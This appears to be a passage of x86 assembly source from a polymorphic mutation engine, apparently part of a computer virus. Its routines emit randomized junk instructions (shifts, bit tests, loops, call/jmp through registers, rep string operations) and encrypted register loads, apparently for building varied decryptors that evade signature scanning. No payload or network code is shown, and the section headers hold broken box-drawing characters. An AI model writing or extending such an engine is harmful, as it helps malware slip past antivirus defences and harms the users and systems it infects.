;<3B><>Ĵ generate movzx,movsx reg32/16,reg16/8 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_movzx_movsx_32: ;movzx/movsx reg32,reg16
|
|||
|
call ppe_get_rnd32
|
|||
|
mov ah,0B7h
|
|||
|
and al,1
|
|||
|
jz __d_movzx32
|
|||
|
mov ah,0BFh
|
|||
|
__d_movzx32:
|
|||
|
mov al,0Fh
|
|||
|
stosw
|
|||
|
call ppe_get_reg
|
|||
|
push ebx
|
|||
|
call ppe_get_empty_reg
|
|||
|
pop edx
|
|||
|
mov al,byte ptr [ebx]
|
|||
|
shl al,3
|
|||
|
or al,0C0h
|
|||
|
or al,byte ptr [edx]
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
g_movzx_movsx_16: ;movzx/movsx reg16,reg8
|
|||
|
mov al,66h
|
|||
|
stosb
|
|||
|
|
|||
|
g_movzx_movsx_8: ;movzx/movsx reg32,reg8
|
|||
|
call ppe_get_rnd32
|
|||
|
mov ah,0B6h
|
|||
|
and al,1
|
|||
|
jz __d_movzx32
|
|||
|
mov ah,0BEh
|
|||
|
jmp __d_movzx32
|
|||
|
|
|||
|
;<3B><>Ĵ generate rol/ror/rcl/rcr/shl/shr/sar reg,imm <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_rotate_shift32: ;(r/s) reg32,imm8
|
|||
|
mov al,0C1h
|
|||
|
stosb
|
|||
|
call ppe_get_empty_reg
|
|||
|
call __do_rs_work
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
g_rotate_shift16: ;(r/s) reg16,imm8
|
|||
|
mov al,66h
|
|||
|
stosb
|
|||
|
jmp g_rotate_shift32
|
|||
|
|
|||
|
g_rotate_shift8:
|
|||
|
call ppe_get_empty_reg ;(r/s) reg8,imm8
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
jnz a_rotate_shift8
|
|||
|
mov al,0C0h
|
|||
|
stosb
|
|||
|
call __do_rs_work
|
|||
|
stosb
|
|||
|
and ah,04h
|
|||
|
or byte ptr [edi-2],ah
|
|||
|
a_rotate_shift8:ret
|
|||
|
|
|||
|
__do_rs_work: ;select r/s operation
|
|||
|
mov eax,end_rs_imm - tbl_rs_imm
|
|||
|
call ppe_get_rnd_range
|
|||
|
lea esi,dword ptr [ebp+tbl_rs_imm+eax]
|
|||
|
lodsb
|
|||
|
or al,byte ptr [ebx]
|
|||
|
stosb
|
|||
|
call ppe_get_rnd32
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate rol/ror/rcl/rcr/shl/shr/sar reg,reg8 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_rs_reg32reg8: ;(r/s) reg32,reg8
|
|||
|
mov al,0D3h
|
|||
|
stosb ;in fact, reg8 is always CL
|
|||
|
call ppe_get_empty_reg ;because CPU allows only
|
|||
|
call __do_rs_work ;this reg8
|
|||
|
ret
|
|||
|
|
|||
|
g_rs_reg16reg8: ;(r/s) reg16,reg8 (CL)
|
|||
|
mov al,66h
|
|||
|
stosb
|
|||
|
jmp g_rs_reg32reg8
|
|||
|
|
|||
|
g_rs_reg8reg8: ;(r/s) reg8,reg8 (CL)
|
|||
|
call ppe_get_empty_reg
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
jnz a_rs_reg8reg8
|
|||
|
mov ax,0D266h
|
|||
|
stosw
|
|||
|
call __do_rs_work
|
|||
|
and ah,04h
|
|||
|
or byte ptr [edi-1],ah
|
|||
|
a_rs_reg8reg8: ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate bt/bts/btr/btc reg32/16,(reg/imm)32/16 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_bt_regreg32: mov al,0Fh
|
|||
|
stosb
|
|||
|
call __do_bt_work
|
|||
|
ret
|
|||
|
|
|||
|
g_bt_regreg16: mov ax,0F66h
|
|||
|
stosw
|
|||
|
call __do_bt_work
|
|||
|
ret
|
|||
|
|
|||
|
__do_bt_work:
|
|||
|
mov eax,end_bt_reg - tbl_bt_reg
|
|||
|
call ppe_get_rnd_range
|
|||
|
lea esi,[ebp+tbl_bt_reg+eax]
|
|||
|
lodsb
|
|||
|
stosb
|
|||
|
call ppe_get_empty_reg
|
|||
|
push ebx
|
|||
|
call ppe_get_reg
|
|||
|
pop edx
|
|||
|
mov al,byte ptr [ebx]
|
|||
|
shl al,3
|
|||
|
or al,0C0h
|
|||
|
or al,byte ptr [edx]
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
g_bit_test32: mov ax,0BA0Fh
|
|||
|
stosw
|
|||
|
call __do_bit_test_work
|
|||
|
ret
|
|||
|
|
|||
|
g_bit_test16: mov al,66h
|
|||
|
stosb
|
|||
|
jmp g_bit_test32
|
|||
|
|
|||
|
__do_bit_test_work:
|
|||
|
mov eax,end_bt_imm - tbl_bt_imm
|
|||
|
call ppe_get_rnd_range
|
|||
|
lea esi,[ebp+tbl_bt_imm+eax]
|
|||
|
call ppe_get_empty_reg
|
|||
|
lodsb
|
|||
|
or al,byte ptr [ebx]
|
|||
|
stosb
|
|||
|
call ppe_get_rnd32
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate add/sub/xor/and/adc/sbb/or reg,reg <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_mathregreg32: ;math reg32,reg32
|
|||
|
call __do_math_regreg_work
|
|||
|
ret
|
|||
|
|
|||
|
g_mathregreg16: ;math reg16,reg16
|
|||
|
mov al,66h
|
|||
|
stosb
|
|||
|
jmp g_mathregreg32
|
|||
|
|
|||
|
g_mathregreg8: ;math reg8,reg8
|
|||
|
call ppe_get_reg
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
jnz g_mathregreg8
|
|||
|
push ebx
|
|||
|
call ppe_get_empty_reg
|
|||
|
pop edx
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
jnz a_mathregreg8
|
|||
|
mov eax,end_math_reg - tbl_math_reg
|
|||
|
call ppe_get_rnd_range
|
|||
|
lea esi,[ebp+tbl_math_reg+eax]
|
|||
|
lodsb
|
|||
|
dec al
|
|||
|
stosb
|
|||
|
mov al,byte ptr [ebx]
|
|||
|
shl al,3
|
|||
|
or al,byte ptr [edx]
|
|||
|
or al,0C0h
|
|||
|
stosb
|
|||
|
call ppe_get_rnd32
|
|||
|
and al,24h
|
|||
|
or byte ptr [edi-1],al
|
|||
|
a_mathregreg8: ret
|
|||
|
|
|||
|
__do_math_regreg_work:
|
|||
|
mov eax,end_math_reg - tbl_math_reg
|
|||
|
call ppe_get_rnd_range
|
|||
|
lea esi,[ebp+tbl_math_reg+eax]
|
|||
|
lodsb
|
|||
|
stosb
|
|||
|
call ppe_get_reg
|
|||
|
push ebx
|
|||
|
call ppe_get_empty_reg
|
|||
|
pop edx
|
|||
|
mov al,byte ptr [ebx]
|
|||
|
shl al,3
|
|||
|
or al,0C0h
|
|||
|
or al,byte ptr [edx]
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
;<3B><>Ĵ set reg8 by flag <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_set_byte: call ppe_get_empty_reg
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
jnz a_set_byte
|
|||
|
mov al,0Fh
|
|||
|
stosb
|
|||
|
mov eax,00000010h ;we have 16 opcodes, haha..
|
|||
|
call ppe_get_rnd_range
|
|||
|
or al,90h ;seta , setae, setb , setbe
|
|||
|
stosb ;sete , setg , setge, setl
|
|||
|
mov al,byte ptr [ebx] ;setle, setne, setno, setnp
|
|||
|
or al,0C0h ;setns, seto , setp , sets
|
|||
|
stosb
|
|||
|
call ppe_get_rnd32
|
|||
|
and al,04h
|
|||
|
or byte ptr [edi-1],al
|
|||
|
a_set_byte: ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate garbage + loop <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_loop:
|
|||
|
|
|||
|
; we can't be recursived because ECX is only for one LOOP
|
|||
|
cmp byte ptr [ebp+recursive_level],01h
|
|||
|
jnz a_loop
|
|||
|
|
|||
|
; does ECX free ?
|
|||
|
test byte ptr [ebp+used_regs],00000010b
|
|||
|
jnz a_loop
|
|||
|
|
|||
|
; generate ECX like counter
|
|||
|
mov eax,00000030h ;future ECX to loop
|
|||
|
call ppe_get_rnd_range
|
|||
|
add eax,2
|
|||
|
mov bl,00000001b ;write to ECX
|
|||
|
call ppe_crypt_value
|
|||
|
|
|||
|
; we don't want to change ECX
|
|||
|
or byte ptr [ebp+used_regs],00000010b
|
|||
|
|
|||
|
push edi ;total garbages in bytes
|
|||
|
call gen_garbage ;to calculate loop
|
|||
|
pop eax
|
|||
|
sub eax,edi
|
|||
|
sub eax,2 ;loop has two bytes
|
|||
|
|
|||
|
mov ah,0E2h ;loop identification
|
|||
|
xchg ah,al
|
|||
|
stosw
|
|||
|
|
|||
|
; enable ECX
|
|||
|
and byte ptr [ebp+used_regs],11111101b
|
|||
|
a_loop: ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate reg + garbage + dec reg + jnz reg <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> sado-maso function <11><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_lj_reg db ? ;0=8bit, 1=16bit, 2=32bit
|
|||
|
g_lj_reg_past db ? ;0=low, 1=high (8BIT only)
|
|||
|
|
|||
|
g_loop_jump:
|
|||
|
|
|||
|
; we can't be recursived because ECX is only for one LOOP_JUMP
|
|||
|
cmp byte ptr [ebp+recursive_level],01h
|
|||
|
jnz a_loop_jump
|
|||
|
|
|||
|
; select a free register
|
|||
|
call ppe_get_empty_reg
|
|||
|
mov byte ptr [ebp+g_lj_reg],00h ;8 bit ...
|
|||
|
test byte ptr [ebx+REG_FLAGS],REG_NO_8BIT
|
|||
|
jnz __g_lj_no_8bit
|
|||
|
mov eax,00000001h ;hi, lo ?
|
|||
|
call ppe_get_rnd_range
|
|||
|
mov byte ptr [ebp+g_lj_reg_past],al
|
|||
|
jmp __g_lj_okay
|
|||
|
|
|||
|
; choose between reg16 and reg32
|
|||
|
__g_lj_no_8bit:
|
|||
|
mov eax,00000002h ;reg16 or reg32 ?
|
|||
|
call ppe_get_rnd_range
|
|||
|
inc eax
|
|||
|
mov byte ptr [ebp+g_lj_reg],al
|
|||
|
|
|||
|
__g_lj_okay:
|
|||
|
push ebx
|
|||
|
mov eax,00000030h ;how many to looping ?
|
|||
|
call ppe_get_rnd_range
|
|||
|
add eax,2
|
|||
|
mov bl,byte ptr [ebx] ;used reg
|
|||
|
call ppe_crypt_value
|
|||
|
|
|||
|
pop ebx
|
|||
|
push ebx
|
|||
|
mov al,byte ptr [ebx] ;disable register
|
|||
|
call __reg_to_bcd
|
|||
|
or byte ptr [ebp+used_regs],ah
|
|||
|
|
|||
|
push edi
|
|||
|
call gen_garbage
|
|||
|
pop ecx
|
|||
|
|
|||
|
mov ax,4866h ;dec (reg16-clone)
|
|||
|
or ah,byte ptr [ebx]
|
|||
|
cmp byte ptr [ebp+g_lj_reg],00h
|
|||
|
jz __g_lj_dec_8bit
|
|||
|
cmp byte ptr [ebp+g_lj_reg],02h
|
|||
|
jz __g_lj_dec_32bit
|
|||
|
stosb
|
|||
|
__g_lj_dec_32bit:
|
|||
|
xchg ah,al
|
|||
|
stosb
|
|||
|
jmp __g_lj_dec_finish
|
|||
|
__g_lj_dec_8bit:
|
|||
|
mov ax,0C8FEh ;dec (reg8)
|
|||
|
or ah,byte ptr [ebx] ;certain reg
|
|||
|
cmp byte ptr[ebp+g_lj_reg_past],01h
|
|||
|
jz __g_lj_dec_8bit_high
|
|||
|
stosw
|
|||
|
jmp __g_lj_dec_finish
|
|||
|
__g_lj_dec_8bit_high:
|
|||
|
and ah,24h
|
|||
|
stosw
|
|||
|
|
|||
|
__g_lj_dec_finish:
|
|||
|
call gen_garbage_no_flags
|
|||
|
pop ebx
|
|||
|
|
|||
|
mov al,byte ptr [ebx] ;certain reg
|
|||
|
call __reg_to_bcd
|
|||
|
not ah
|
|||
|
and byte ptr [ebp+used_regs],ah
|
|||
|
|
|||
|
mov ax,850Fh ;JNZ identification
|
|||
|
stosw
|
|||
|
|
|||
|
mov eax,ecx
|
|||
|
sub eax,edi
|
|||
|
sub eax,4
|
|||
|
stosd
|
|||
|
|
|||
|
a_loop_jump: ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate reg32 + call reg32 + rnd_block + pop reg32 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;This function can generate CALL reg32 which will be gene-
|
|||
|
;rated by <ppe_crypt_value>.
|
|||
|
;
|
|||
|
g_cr32_reg db ?
|
|||
|
g_cr32_full db ? ;0=g_return,1=call,2=jump
|
|||
|
g_cr32_jump dd ? ;address of CALL instruction
|
|||
|
;
|
|||
|
g_call_reg32:
|
|||
|
|
|||
|
mov byte ptr [ebp+g_cr32_full],01h
|
|||
|
b_call_reg32: mov dword ptr [ebp+g_cr32_jump],00000000h
|
|||
|
|
|||
|
; test, if global index reg is generated
|
|||
|
cmp byte ptr [ebp+gl_index_reg],-1
|
|||
|
jz a_call_reg32
|
|||
|
|
|||
|
; do not recursived - because it's few registers
|
|||
|
cmp byte ptr [ebp+recursive_level],01h
|
|||
|
jnz a_call_reg32
|
|||
|
|
|||
|
; garbage only in main-poly loop
|
|||
|
cmp dword ptr [ebp+__pllg_memory],00000000h
|
|||
|
jnz a_call_reg32
|
|||
|
|
|||
|
; save used-regs
|
|||
|
mov al,[ebp+used_regs]
|
|||
|
push ax
|
|||
|
|
|||
|
; select an empty register
|
|||
|
call ppe_get_empty_reg
|
|||
|
movzx ebx,byte ptr [ebx]
|
|||
|
mov byte ptr [ebp+g_cr32_reg],bl
|
|||
|
|
|||
|
; calculate size of rnd_block
|
|||
|
mov eax,00000030h
|
|||
|
call ppe_get_rnd_range
|
|||
|
add eax,00000005h ;damn, fucking BUG !!
|
|||
|
push eax ;save it for later use
|
|||
|
jmp d_call_reg32
|
|||
|
c_call_reg32: mov byte ptr [ebp+g_cr32_full],00h
|
|||
|
mov cl,[ebp+used_regs]
|
|||
|
push cx
|
|||
|
mov bl,byte ptr [ebx]
|
|||
|
mov byte ptr [ebp+g_cr32_reg],bl
|
|||
|
d_call_reg32: call ppe_crypt_value ;ebx is full
|
|||
|
movzx eax,byte ptr [ebp+g_cr32_reg]
|
|||
|
lea ebx,[ebp+tbl_regs+02h*eax]
|
|||
|
call __reg_to_bcd
|
|||
|
or byte ptr [ebp+used_regs],ah
|
|||
|
call gen_garbage_no_flags ;uaaahh
|
|||
|
call __copro_fix_delta ; + global index register
|
|||
|
call gen_garbage_no_flags
|
|||
|
|
|||
|
; for <ppe_get_return> we don't want to set right size
|
|||
|
cmp byte ptr [ebp+g_cr32_full],00h
|
|||
|
jz e_call_reg32
|
|||
|
|
|||
|
; set the right size
|
|||
|
mov ebx,edi
|
|||
|
add ebx,2+6 ; + call reg32 + (add/sub)
|
|||
|
sub ebx,[ebp+poly_start]
|
|||
|
mov eax,00000002h
|
|||
|
call ppe_get_rnd_range
|
|||
|
or al,al
|
|||
|
jz __cr32_add
|
|||
|
neg ebx
|
|||
|
mov ax,0E881h ;sub reg32,imm32 id
|
|||
|
jmp __cr32_finish
|
|||
|
__cr32_add:
|
|||
|
mov ax,0C081h ;add reg32,imm32 id
|
|||
|
__cr32_finish:
|
|||
|
or ah,byte ptr [ebp+g_cr32_reg]
|
|||
|
stosw
|
|||
|
mov eax,ebx
|
|||
|
stosd
|
|||
|
e_call_reg32:
|
|||
|
; now, write CALL reg32 instruction
|
|||
|
mov ax,0D0FFh
|
|||
|
or ah,byte ptr [ebp+g_cr32_reg]
|
|||
|
stosw
|
|||
|
mov [ebp+g_cr32_jump],edi
|
|||
|
|
|||
|
cmp byte ptr [ebp+g_cr32_full],00h
|
|||
|
jz f_call_reg32
|
|||
|
|
|||
|
pop ecx ;rnd_block length
|
|||
|
call ppe_gen_rnd_fill ;ecx is full
|
|||
|
|
|||
|
cmp byte ptr [ebp+g_cr32_full],02h
|
|||
|
jz f_call_reg32
|
|||
|
|
|||
|
; and we must put value from stack via POP reg32
|
|||
|
call gen_garbage_no_flags ;uaaahh...
|
|||
|
mov al,58h
|
|||
|
or al,byte ptr [ebp+g_cr32_reg]
|
|||
|
stosb
|
|||
|
f_call_reg32:
|
|||
|
; restore used_regs
|
|||
|
pop ax
|
|||
|
mov [ebp+used_regs],al
|
|||
|
a_call_reg32: ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate reg32 + jump reg32 + rnd_block <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_jump_reg32:
|
|||
|
|
|||
|
mov byte ptr [ebp+g_cr32_full],02h
|
|||
|
|
|||
|
; write CALL reg32 garbage
|
|||
|
call b_call_reg32
|
|||
|
cmp dword ptr [ebp+g_cr32_jump],00000000h
|
|||
|
jz a_jump_reg32
|
|||
|
|
|||
|
; rewrite CALL reg32 --> JMP reg32
|
|||
|
mov eax,[ebp+g_cr32_jump]
|
|||
|
add byte ptr [eax-1],10h ;CALL reg32 -> JMP reg32
|
|||
|
|
|||
|
a_jump_reg32: ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate rep/repnz + cmps/lods/stos/scas/movs <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> sado-maso function <11><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
;---------------------------------------------------------
|
|||
|
;Welcome to my popular function. I think any comment is
|
|||
|
;needless - because this function is easy to understand.
|
|||
|
;So, If u don't believe me, I'll show you some functionz:
|
|||
|
; * __gr_make_esi --- generate source
|
|||
|
; * __gr_make_edi --- generate destination or source
|
|||
|
; * __gr_make_ecx --- generate counter
|
|||
|
;
|
|||
|
;...easy to understand...
|
|||
|
;
|
|||
|
g_repeat:
|
|||
|
|
|||
|
; test, if global index register is generated
|
|||
|
cmp byte ptr [ebp+gl_index_reg],-1
|
|||
|
jz a_repeat
|
|||
|
|
|||
|
; i must be far then about USED_MEMORY bytes
|
|||
|
call __gr_where_in_mem
|
|||
|
jc a_repeat
|
|||
|
|
|||
|
; garbage use only in main-poly loop
|
|||
|
cmp dword ptr [ebp+__pllg_memory],00000000h
|
|||
|
jnz a_repeat
|
|||
|
|
|||
|
; register ECX must be free
|
|||
|
test byte ptr [ebp+used_regs],00000010b
|
|||
|
jnz a_repeat
|
|||
|
|
|||
|
; does ESI free ?
|
|||
|
test byte ptr [ebp+used_regs],01000000b
|
|||
|
jnz __gr_part_2
|
|||
|
|
|||
|
; does EDI free ?
|
|||
|
test byte ptr [ebp+used_regs],10000000b
|
|||
|
jnz __gr_lods
|
|||
|
|
|||
|
; all cmps/lods/stos/scas/movs, wow !
|
|||
|
mov eax,(end_repeat - tbl_repeat) / 04h
|
|||
|
call ppe_get_rnd_range
|
|||
|
lea esi,[ebp+tbl_repeat+eax*04h]
|
|||
|
lodsd
|
|||
|
add eax,ebp
|
|||
|
call eax
|
|||
|
jmp a_repeat
|
|||
|
|
|||
|
__gr_part_2:
|
|||
|
; must be EDI free ..
|
|||
|
test byte ptr [ebp+used_regs],10000000b
|
|||
|
jnz a_repeat
|
|||
|
|
|||
|
; only stos/scas ...
|
|||
|
mov eax,00000002h
|
|||
|
call ppe_get_rnd_range
|
|||
|
or al,al
|
|||
|
jz __gr_stos
|
|||
|
jmp __gr_scas
|
|||
|
|
|||
|
__gr_cmps:
|
|||
|
call __gr_make_esi ;new esi to ebx
|
|||
|
call __gr_make_edi ;new edi to ecx
|
|||
|
call __gr_change
|
|||
|
|
|||
|
push ecx
|
|||
|
mov eax,ebx
|
|||
|
mov bl,00000110b ;esi register
|
|||
|
call ppe_crypt_value
|
|||
|
lea ebx,[ebp+tbl_regs+6*2]
|
|||
|
call __copro_fix_delta
|
|||
|
or byte ptr [ebp+used_regs],01000000b
|
|||
|
pop eax
|
|||
|
mov bl,00000111b ;edi register
|
|||
|
call ppe_crypt_value
|
|||
|
lea ebx,[ebp+tbl_regs+7*2]
|
|||
|
call __copro_fix_delta
|
|||
|
or byte ptr [ebp+used_regs],10000000b
|
|||
|
|
|||
|
call __gr_crypt_ecx ;ecx register
|
|||
|
call __gr_make_rep ;rep or repnz ?
|
|||
|
mov al,0A6h
|
|||
|
stosb
|
|||
|
and byte ptr [ebp+used_regs],00111111b
|
|||
|
ret
|
|||
|
|
|||
|
__gr_lods:
|
|||
|
; register EAX must be free
|
|||
|
test byte ptr [ebp+used_regs],00000001h
|
|||
|
jnz __gr_flods
|
|||
|
call __gr_make_esi
|
|||
|
|
|||
|
mov eax,ebx
|
|||
|
mov bl,00000110b
|
|||
|
call ppe_crypt_value
|
|||
|
lea ebx,[ebp+tbl_regs+6*2]
|
|||
|
call __copro_fix_delta
|
|||
|
or byte ptr [ebp+used_regs],01000000b
|
|||
|
|
|||
|
call __gr_crypt_ecx
|
|||
|
call __gr_make_rep
|
|||
|
mov al,0ACh
|
|||
|
stosb
|
|||
|
and byte ptr [ebp+used_regs],10111111b
|
|||
|
__gr_flods:
|
|||
|
ret
|
|||
|
|
|||
|
__gr_stos:
|
|||
|
call __gr_make_edi
|
|||
|
|
|||
|
mov eax,ecx
|
|||
|
mov bl,00000111b
|
|||
|
call ppe_crypt_value
|
|||
|
lea ebx,[ebp+tbl_regs+7*2]
|
|||
|
call __copro_fix_delta
|
|||
|
or byte ptr [ebp+used_regs],10000000b
|
|||
|
|
|||
|
call __gr_crypt_ecx
|
|||
|
call __gr_make_rep
|
|||
|
mov al,0AAh
|
|||
|
stosb
|
|||
|
and byte ptr [ebp+used_regs],01111111b
|
|||
|
ret
|
|||
|
|
|||
|
__gr_scas:
|
|||
|
call __gr_make_edi
|
|||
|
or byte ptr [ebp+used_regs],10000000b
|
|||
|
|
|||
|
mov eax,ecx
|
|||
|
mov bl,00000111b
|
|||
|
call ppe_crypt_value
|
|||
|
lea ebx,[ebp+tbl_regs+7*2]
|
|||
|
call __copro_fix_delta
|
|||
|
|
|||
|
call __gr_crypt_ecx
|
|||
|
call __gr_make_rep
|
|||
|
mov al,0AEh
|
|||
|
stosb
|
|||
|
and byte ptr [ebp+used_regs],01111111b
|
|||
|
ret
|
|||
|
|
|||
|
__gr_movs:
|
|||
|
call __gr_make_esi
|
|||
|
call __gr_make_edi
|
|||
|
call __gr_change
|
|||
|
|
|||
|
push ecx
|
|||
|
mov eax,ebx
|
|||
|
mov bl,000000110b
|
|||
|
call ppe_crypt_value
|
|||
|
lea ebx,[ebp+tbl_regs+6*2]
|
|||
|
call __copro_fix_delta
|
|||
|
or byte ptr [ebp+used_regs],01000000b
|
|||
|
pop eax
|
|||
|
mov bl,000000111b
|
|||
|
call ppe_crypt_value
|
|||
|
lea ebx,[ebp+tbl_regs+7*2]
|
|||
|
call __copro_fix_delta
|
|||
|
or byte ptr [ebp+used_regs],10000000b
|
|||
|
|
|||
|
call __gr_crypt_ecx
|
|||
|
call __gr_make_rep
|
|||
|
mov al,0A4h
|
|||
|
stosb
|
|||
|
and byte ptr [ebp+used_regs],00111111b
|
|||
|
ret
|
|||
|
|
|||
|
__gr_make_rep:
|
|||
|
mov bx,0F2F3h ;repnz, rep
|
|||
|
mov eax,00000002h
|
|||
|
call ppe_get_rnd_range
|
|||
|
xchg eax,ebx
|
|||
|
or bl,bl
|
|||
|
jz __gr_make_repnz
|
|||
|
stosb
|
|||
|
ret
|
|||
|
__gr_make_repnz:
|
|||
|
xchg ah,al
|
|||
|
stosb
|
|||
|
ret
|
|||
|
|
|||
|
__gr_crypt_ecx:
|
|||
|
mov eax,30
|
|||
|
call ppe_get_rnd_range
|
|||
|
mov bl,00000001b ;ecx register
|
|||
|
call ppe_crypt_value
|
|||
|
ret
|
|||
|
|
|||
|
__gr_make_esi:
|
|||
|
mov eax,0000000Ah ;esi start
|
|||
|
call ppe_get_rnd_range
|
|||
|
mov ebx,eax
|
|||
|
sub ebx,edi
|
|||
|
add ebx,[ebp+poly_start]
|
|||
|
ret
|
|||
|
|
|||
|
__gr_make_edi:
|
|||
|
mov eax,000000Ah ;edi start
|
|||
|
call ppe_get_rnd_range
|
|||
|
mov ecx,eax
|
|||
|
sub ecx,edi
|
|||
|
add ecx,[ebp+poly_start]
|
|||
|
ret
|
|||
|
|
|||
|
__gr_change:
|
|||
|
mov eax,00000002h ;change esi and edi ?
|
|||
|
call ppe_get_rnd_range
|
|||
|
or al,al
|
|||
|
jz __gr_change_no
|
|||
|
xchg ebx,ecx
|
|||
|
__gr_change_no:
|
|||
|
ret
|
|||
|
|
|||
|
__gr_where_in_mem:
|
|||
|
mov eax,[ebp+poly_start]
|
|||
|
sub eax,edi
|
|||
|
neg eax
|
|||
|
cmp eax,USED_MEMORY
|
|||
|
a_repeat: ret
|
|||
|
|
|||
|
;<3B><>Ĵ generate push value(32/16)/garbage/pop reg32 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|||
|
|
|||
|
g_pushpop_value:
|
|||
|
|
|||
|
; value32 OR value16 ?
|
|||
|
call ppe_get_rnd32 ;save dword or word ?
|
|||
|
and al,1
